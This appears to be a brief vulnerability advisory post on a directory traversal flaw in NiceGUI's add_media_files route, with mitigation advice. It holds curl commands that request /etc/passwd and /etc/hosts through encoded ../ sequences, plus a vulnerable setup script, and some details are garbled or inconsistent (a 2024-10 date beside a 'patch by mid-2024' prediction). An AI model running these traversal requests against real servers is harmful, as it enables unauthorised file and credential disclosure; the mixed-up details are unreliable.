Listen to this Post
The vulnerability resides in the `App.add_media_files()` method. This function maps a URL endpoint to serve files from a local directory. The route is defined using a `{filename:path}` parameter, which captures the entire path segment from the request URL. The captured `filename` is then directly joined with the `local_directory` using `Path(local_directory) / filename` without any sanitization. This allows an attacker to include directory traversal sequences like `../` or their URL-encoded equivalents (%2e%2e/) in the filename. The code only checks if the resulting `filepath` exists and is a file (filepath.is_file()), not whether it resides within the intended local_directory. Consequently, by requesting a path like /media/../../../../etc/passwd, an attacker can read arbitrary files accessible to the server process.
Platform: NiceGUI
Version: All affected
Vulnerability : Directory Traversal
Severity: Critical
date: 2024-10-10
Prediction: Patch by mid-2024
What Undercode Say:
Analytics:
find . -name ".py" -exec grep -l "add_media_files" {} \;
python3 -c "import nicegui; print(nicegui.<strong>version</strong>)"
curl -s "http://target/media/%2e%2e/%2e%2e/etc/passwd" | head -5
poc.py
from pathlib import Path
from nicegui import app, ui
MEDIA_DIR = Path(<strong>file</strong>).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)
app.add_media_files('/media', MEDIA_DIR)
ui.run(port=8080)
How Exploit:
`curl -v “http://victim:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts”`
Protection from this CVE:
Update NiceGUI library.
Implement path normalization.
Add boundary validation (`filepath.resolve().is_relative_to(Path(local_directory).resolve())`).
Use web application firewall.
Impact:
Source code exposure.
Credentials/secret leakage.
System file read.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
